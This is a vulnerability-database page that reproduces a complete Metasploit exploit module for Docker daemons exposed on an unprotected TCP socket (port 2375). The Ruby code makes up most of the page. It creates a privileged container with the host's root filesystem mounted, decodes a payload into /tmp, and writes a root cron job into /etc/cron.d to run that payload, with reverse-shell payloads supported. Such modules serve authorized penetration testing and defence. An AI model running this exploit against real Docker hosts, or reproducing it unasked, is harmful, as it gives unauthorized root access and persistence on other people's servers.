Lucene search
+L

Docker Daemon - Unprotected TCP Socket Exploit

🗓️ 25 Jul 2017 00:00:00Reported by Martin PizalaType 
metasploit
 metasploit
🔗 www.rapid7.com👁 23 Views

Docker daemon vulnerability - Unauthorized creation of root-owned file

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Docker Daemon - Unprotected TCP Socket Exploit',
        'Description' => %q{
          Utilizing Docker via unprotected tcp socket (2375/tcp, maybe 2376/tcp
          with tls but without tls-auth), an attacker can create a Docker
          container with the '/' path mounted with read/write permissions on the
          host server that is running the Docker container. As the Docker
          container executes command as uid 0 it is honored by the host operating
          system allowing the attacker to edit/create files owned by root. This
          exploit abuses this to creates a cron job in the '/etc/cron.d/' path of
          the host server.

          The Docker image should exist on the target system or be a valid image
          from hub.docker.com.
        },
        'Author' => 'Martin Pizala', # started with dcos_marathon module from Erik Daguerre
        'License' => MSF_LICENSE,
        'References' => [
          ['URL', 'https://docs.docker.com/engine/security/security/#docker-daemon-attack-surface'],
          ['URL', 'https://docs.docker.com/engine/reference/commandline/dockerd/#bind-docker-to-another-hostport-or-a-unix-socket']
        ],
        'DisclosureDate' => '2017-07-25',
        'Targets' => [
          [
            'Linux x64', {
              'Arch' => ARCH_X64,
              'Platform' => 'linux'
            }
          ],
          [
            'Python', {
              'Arch' => ARCH_PYTHON,
              'Platform' => 'python',
              'Payload' => {
                'Compat' => {
                  'ConnectionType' => 'reverse noconn none tunnel'
                }
              }
            }
          ]
        ],
        'Payload' => { 'Space' => 65000, 'DisableNops' => true },
        'DefaultOptions' => { 'WfsDelay' => 180 },
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(2375),
        OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'alpine:latest' ]),
        OptString.new('CONTAINER_ID', [ false, 'container id you would like'])
      ]
    )
  end

  def check_image(image_id)
    vprint_status("Check if images exist on the target host")
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri('images', 'json'),
      'ctype' => 'application/json'
    )
    return unless res && res.code == 200 && res.body.include?(image_id)

    res
  end

  def pull_image(image_id)
    print_status("Trying to pulling image from docker registry, this may take a while")
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri('images', 'create?fromImage=' + image_id),
      'ctype' => 'application/json'
    )
    return unless res && res.code == 200

    res
  end

  def make_container_id
    return datastore['CONTAINER_ID'] unless datastore['CONTAINER_ID'].nil?

    rand_text_alpha_lower(8)
  end

  def make_cmd(mnt_path, cron_path, payload_path)
    vprint_status('Creating the docker container command')
    echo_cron_path = mnt_path + cron_path
    echo_payload_path = mnt_path + payload_path

    case target
    when targets[0] # linux
      command = "echo #{Rex::Text.encode_base64(payload.encoded_exe)} | base64 -d > #{echo_payload_path} \&\& chmod +x #{echo_payload_path} \&\& "
      cron_command = payload_path
    when targets[1] # python
      command = "echo \"#{payload.raw}\" >> #{echo_payload_path} \&\& "
      cron_command = "python #{payload_path}"
    end

    command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} \&\& "
    command << "echo \"\" >> #{echo_cron_path} \&\& "
    command << "echo \"* * * * * root #{cron_command}\" >> #{echo_cron_path}"

    command
  end

  def make_container(mnt_path, cron_path, payload_path)
    vprint_status('Setting container json request variables')
    {
      'Image' => datastore['DOCKERIMAGE'],
      'Cmd' => make_cmd(mnt_path, cron_path, payload_path),
      'Entrypoint' => %w[/bin/sh -c],
      'HostConfig' => {
        'Binds' => [
          '/:' + mnt_path
        ],
        'Privileged' => true,
        'UsernsMode' => 'host'
      }
    }
  end

  def del_container(container_id)
    send_request_cgi(
      {
        'method' => 'DELETE',
        'uri' => normalize_uri('containers', container_id),
        'ctype' => 'application/json'
      },
      1 # timeout
    )
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri('containers', 'json'),
      'ctype' => 'application/json',
      'headers' => { 'Accept' => 'application/json' }
    )

    if res.nil?
      print_error('Failed to connect to the target')
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    if res && res.code == 200 && res.headers['Server'].include?('Docker')
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    end

    Exploit::CheckCode::Safe('The target is not vulnerable')
  end

  def exploit
    # check if target is vulnerable
    unless check == Exploit::CheckCode::Vulnerable
      fail_with(Failure::Unknown, 'Failed to connect to the target')
    end

    # check if image is not available, pull it or fail out
    image_id = datastore['DOCKERIMAGE']
    if check_image(image_id).nil?
      fail_with(Failure::Unknown, 'Failed to pull the docker image') if pull_image(image_id).nil?
    end

    # create required information to create json container information.
    cron_path = '/etc/cron.d/' + rand_text_alpha(8)
    payload_path = '/tmp/' + rand_text_alpha(8)
    mnt_path = '/mnt/' + rand_text_alpha(8)
    container_id = make_container_id

    # create container
    res_create = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri('containers', 'create?name=' + container_id),
      'ctype' => 'application/json',
      'data' => make_container(mnt_path, cron_path, payload_path).to_json
    )
    fail_with(Failure::Unknown, 'Failed to create the docker container') unless res_create && res_create.code == 201

    print_status("The docker container is created, waiting for deploy")
    register_files_for_cleanup(cron_path, payload_path)

    # start container
    send_request_cgi(
      {
        'method' => 'POST',
        'uri' => normalize_uri('containers', container_id, 'start'),
        'ctype' => 'application/json'
      },
      1 # timeout
    )

    # wait until container stopped
    vprint_status("Waiting until the docker container stopped")
    res_wait = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri('containers', container_id, 'wait'),
      'ctype' => 'application/json',
      'headers' => { 'Accept' => 'application/json' }
    )

    # delete container
    deleted_container = false
    if res_wait && res_wait.code == 200
      vprint_status("The docker container has been stopped, now trying to remove it")
      del_container(container_id)
      deleted_container = true
    end

    # if container does not deploy, remove it and fail out
    unless deleted_container
      del_container(container_id)
      fail_with(Failure::Unknown, "The docker container failed to deploy")
    end
    print_status('Waiting for the cron job to run, can take up to 60 seconds')
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 Jul 2017 00:00Current
5.6Medium risk
Vulners AI Score5.6
23